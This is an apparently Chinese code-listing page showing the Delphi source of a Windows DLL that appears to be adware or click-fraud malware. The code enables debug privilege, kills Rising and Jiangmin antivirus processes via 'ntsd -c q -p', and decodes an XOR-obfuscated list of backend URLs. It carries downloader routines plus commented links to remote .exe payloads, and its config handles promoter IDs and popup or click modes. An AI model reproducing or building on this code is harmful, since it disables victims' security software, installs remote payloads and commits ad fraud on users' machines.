📄 maindll.dpr
字号:
library maindll;
//uses ; messages comobj Classes DateUtils
// ;//Windows,SysUtils,,Wininet;Dialogs,tlhelp32,shellapi,Variants,activex forms
uses
Windows,
SysUtils,comobj,activex,messages, //SHDocVw,mshtml,
Variants,//classes,
md5 in 'md5.pas',
//Dialogs,
class_stringlist in 'class_stringlist.pas';
const
flag_test='f_test'; //0--正式,1--测试
flag_ver='flag_verflag_ver'; //版本号 yyMMdd
flag_onlypop='f_onlypop';//0--点击,1--弹窗,2--vip
flag_userid='f_useridflag '; //推广员编号
flag ='UXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXUXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXUXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXUXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
//后台网址列表
flag_id='f_idflag ';//客户id
maxLen=16;//随机密钥长度
winetdll = 'wininet.dll';
shell32 = 'shell32.dll';
ole32 = 'ole32.dll';
Bstr_base64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
tmpfile='webhitlogtmp.dat';
fn_stop='c:\hitpop.txt';
ie_flag='webhit';
pm_max=10;//一次最多刷新10个网址
IEMax=12;
READYSTATE_COMPLETE = $00000004;
{WM_GETTEXT = $000D;
WM_SYSCOMMAND = $0112;
WM_CLOSE = $0010;
WM_LBUTTONDOWN = $0201;
WM_LBUTTONUP = $0202;
BM_SETCHECK = $00F1;
WM_QUERYENDSESSION = $0011;}
//http://www.103h.com/download/mydown.exe
//http://www.103h.com/download/alexav.exe
//http://www.103h.com/download/alexatmp.exe
type IERecord=record
ie0,idoc :olevariant;
url:string;
windowname:string;
left:integer;
top:integer;
width:integer;
height:integer;
xy:string;
noframe:boolean;
ok:integer;
hit:integer;
end;
var IER:array[1..IEMax] of IERecord;
IECount:integer;
program_test:boolean;
id,userid,userbh:string;
gdzb:boolean;
//myie:olevariant;
type
Tmyinfo=record
qx,qx1,qx2:integer;
url:string;//列表地址
reg:string;//注册地址
data:string;//
key:string;//关键字列表
ver:string;//版本
download:string;//下载地址,下载标示;。。。下载地址,下载标示;
url_down:string;//下载地址
url_flag:string;//下载标示
url_ver:string;//升级地址
pm_time:string;
gg_jg:string;
dx_jg:string;
tm_pm:double;
tm_gg:double;
tm_url:double;
tm_title:double;
ie:string;
url_tempdown:string;
tm_ver:double;
end;
var myinfo:tmyinfo;
var cfg,syscfg:string;
ver,onlypop:string;
st_ie:string;
ie_add:integer;
function FuckCode : String;
begin
Result :=#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA;
end;
function EnabledDebugPrivilege(const Enabled : Boolean) : Boolean;
var
hTk : THandle;
rtnTemp : Dword;
TokenPri : TOKEN_PRIVILEGES;
const
SE_DEBUG = 'SeDebugPrivilege';
begin
Result := False;
if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hTk)) then
begin
TokenPri.PrivilegeCount := 1;
LookupPrivilegeValue(nil,SE_DEBUG,TokenPri.Privileges[0].Luid);
if Enabled then
TokenPri.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
TokenPri.Privileges[0].Attributes := 0;
rtnTemp := 0;
AdjustTokenPrivileges(hTk,False,TokenPri,sizeof(TokenPri),nil,rtnTemp);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(hTk);
end;
end;
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall; external shell32 name 'ShellExecuteA';
function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
StatusCB: Pointer): LongWord;
stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
function decodeStr(str: string): string; //解密串
var
i,j,k: integer;
tmp,key:string;
begin
//字符串作反可视化
tmp:='';
for i:=1 to (length(str) div 2) do //把ascii码串转换为2进制串
begin
result:=copy(str,i*2-1,2);
tmp:=tmp+chr(strToInt('$'+result));
//forms.Application.ProcessMessages;
end;
//二进制加密串解密
//取随机密钥
key:=copy(tmp,1,maxlen);
tmp:=copy(tmp,maxlen+1,length(tmp));
k:=0;
result:='';
for i:=1 to length(tmp) do
begin
k:=k+1;
if k>maxlen then k:=1;
j := ord(tmp[i]) xor strtoint(key[k]);
result := result + chr(j);
//forms.Application.ProcessMessages;
end;
result:=trim(result);
end;
type HINTERNET = Pointer;
const INTERNET_OPEN_TYPE_PRECONFIG = 0;
type
tagPROCESSENTRY32 = packed record
dwSize: DWORD;
cntUsage: DWORD;
th32ProcessID: DWORD; // this process
th32DefaultHeapID: DWORD;
th32ModuleID: DWORD; // associated exe
cntThreads: DWORD;
th32ParentProcessID: DWORD; // this process's parent process
pcPriClassBase: Longint; // Base priority of process's threads
dwFlags: DWORD;
szExeFile: array[0..MAX_PATH - 1] of Char;// Path
end;
TProcessEntry32 = tagPROCESSENTRY32;
const
TH32CS_SNAPHEAPLIST = $00000001;
TH32CS_SNAPPROCESS = $00000002;
TH32CS_SNAPTHREAD = $00000004;
TH32CS_SNAPMODULE = $00000008;
TH32CS_SNAPALL = TH32CS_SNAPHEAPLIST or TH32CS_SNAPPROCESS or TH32CS_SNAPTHREAD or TH32CS_SNAPMODULE;
function CreateToolhelp32Snapshot(dwFlags, th32ProcessID: DWORD): THandle;stdcall;external kernel32 name 'CreateToolhelp32Snapshot';
function Process32First(hSnapshot: THandle; var lppe: TProcessEntry32): BOOL;stdcall;external kernel32 name 'Process32First';
function Process32Next(hSnapshot: THandle; var lppe: TProcessEntry32): BOOL;stdcall;external kernel32 name 'Process32Next';
function InternetOpen(lpszAgent: PChar; dwAccessType: longWORD;
lpszProxy, lpszProxyBypass: PChar; dwFlags: longWORD): HINTERNET; stdcall;external winetdll name 'InternetOpenA';
function InternetOpenUrl(hInet: HINTERNET; lpszUrl: PChar;
lpszHeaders: PChar; dwHeadersLength: longWORD; dwFlags: longWORD;
dwContext: longWORD): HINTERNET; stdcall;external winetdll name 'InternetOpenUrlA';
function InternetReadFile(hFile: HINTERNET; lpBuffer: Pointer;
dwNumberOfBytesToRead: longWORD; var lpdwNumberOfBytesRead: longWORD): longBOOL; stdcall; external winetdll name 'InternetReadFile';
function InternetCloseHandle(hInet: HINTERNET): longBOOL; stdcall;external winetdll name 'InternetCloseHandle';
function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;external kernel32 name 'WinExec';
function HasKV:boolean;
const maxp=6;
var
lppe: tprocessentry32;
sshandle: thandle;
found: boolean;
pg:array[1..maxp] of string;
pgh:array[1..maxp] of integer;
i:integer;
begin
result:=false;
for i:=1 to maxp do
begin
pg[i]:='';
pgh[i]:=0;
end;
pg[1]:='RUNIEP.EXE';//瑞星kaka
pg[2]:='KRegEx.exe';
pg[3]:='KVXP.kxp';
sshandle := createtoolhelp32snapshot(TH32CS_SNAPALL, 0);
found := process32first(sshandle, lppe);
while found do
begin
for i:=1 to maxp do
if pg[i]<>'' then
if ansiCompareText(lowercase(ExtractFileName(lppe.szExefile)),lowercase(pg[i])) = 0 then
begin
//result:=true;
//break;
pgh[i]:=lppe.th32ProcessID;
end;
//if result then break;
found := process32next(sshandle, lppe);
sleep(1);
end;
CloseHandle(sshandle);
for i:=1 to maxp do
if pgh[i]<>0 then
begin
winexec(pchar('ntsd -c q -p '+inttostr(pgh[i])),SW_MINIMIZE);
end;
end;
function FileExists(pszPath: string): BOOL; stdcall; external 'shlwapi.dll' Name 'PathFileExistsA';
function GetInetFile(const fileURL, FileName: String): boolean;
const BufferSize = 1024;
var
hSession, hURL: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: longWORD;
f: File;
sAppName: string;
begin
Result:=False;
try
sAppName :='hhh';// ExtractFileName(Application.ExeName);
hSession := InternetOpen(PChar(sAppName),
INTERNET_OPEN_TYPE_PRECONFIG,
nil, nil, 0);
try
hURL := InternetOpenURL(hSession,
PChar(fileURL),
nil,0,0,0);
if hURL=nil then exit;
try
AssignFile(f, FileName);
try
Rewrite(f,1);
repeat
InternetReadFile(hURL, @Buffer,
SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen);
//sleep(2);
until BufferLen = 0;
finally
CloseFile(f);
end;
Result:=True;
finally
InternetCloseHandle(hURL)
end
finally
InternetCloseHandle(hSession)
end
except
if fileexists(FileName) then
deletefile(pchar(FileName));
end;
end;
function IniFileReadString(const Section, Ident, Default,FFileName: string): string;
var
Buffer: array[0..2047] of Char;
begin
result:='';
try
SetString(Result, Buffer, GetPrivateProfileString(PChar(Section),PChar(Ident), PChar(Default), Buffer, SizeOf(Buffer), PChar(FFileName)));
except
end;
if trim(result)='' then
result:=Default;
end;
function IniFileWriteString(const Section, Ident, value,FFileName: string): string;
begin
result:='1';
try
WritePrivateProfileString(pchar(Section), pchar(Ident), pchar(value),pchar(FFileName));
except
result:='0';
end;
end;
function GetTempPath(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall;external kernel32 name 'GetTempPathA';
function Get_TempPath:string;
var p:array[0..255] of char;
begin
fuckcode;
GetTempPath(255,p);
result:=p;
if result[length(result)]<>'\' then result:=result+'\';
end;
function GetWindowsPath:string;
var p:pchar;
s:string;
begin
result:='';
getmem(p,255);
try
GetWindowsDirectory(p,255);
s:=p;
if s<>'' then
if s[length(s)]<>'\' then s:=s+'\';
result:=s;
finally
freemem(p);
end;
end;
function GetSystemDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall;external kernel32 name 'GetSystemDirectoryA';
function Get_SystemPath:string;
var p:pchar;
begin
result:='';
getmem(p,255);
try
GetSystemDirectory(p,255);
result:=p;
if result[length(result)]<>'\' then result:=result+'\';
finally
freemem(p);
end;
end;
procedure SaveToFile(data,fn:string);
var f_regid,len:integer;
tmp:string;
buff:pchar;
begin
try
f_regid:=FileCreate(fn);
try
tmp:=data;
len:=length(tmp);
getmem(buff,len+2);
try
//showmessage(inttostr(length(tmp)));
//StrPCopy(buff,tmp);
SetLength(tmp, len+1);
tmp[len+1]:= #0;
buff:= @tmp[1];
Filewrite(f_regid, buff^, len);
finally
freemem(buff);
end;
finally
FileClose(f_regid);
end;
except
end;
end;
type
PInternetCacheEntryInfoA = ^INTERNET_CACHE_ENTRY_INFOA;
INTERNET_CACHE_ENTRY_INFOA = record
dwStructSize: DWORD; { version of cache system. ?? do we need this for all entries? }
lpszSourceUrlName: PAnsiChar; { embedded pointer to the URL name string. }
lpszLocalFileName: PAnsiChar; { embedded pointer to the local file name. }
CacheEntryType: DWORD; { cache type bit mask. }
dwUseCount: DWORD; { current users count of the cache entry. }
dwHitRate: DWORD; { num of times the cache entry was retrieved. }
dwSizeLow: DWORD; { low DWORD of the file size. }
dwSizeHigh: DWORD; { high DWORD of the file size. }
LastModifiedTime: TFileTime; { last modified time of the file in GMT format. }
ExpireTime: TFileTime; { expire time of the file in GMT format }
LastAccessTime: TFileTime; { last accessed time in GMT format }
LastSyncTime: TFileTime; { last time the URL was synchronized }
{ with the source }
lpHeaderInfo: PBYTE; { embedded pointer to the header info. }
dwHeaderInfoSize: DWORD; { size of the above header. }
lpszFileExtension: PAnsiChar; { File extension used to retrive the urldata as a file. }
dwReserved: DWORD; { reserved for future use. }
end;
PInternetCacheEntryInfo = PInternetCacheEntryInfoA;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -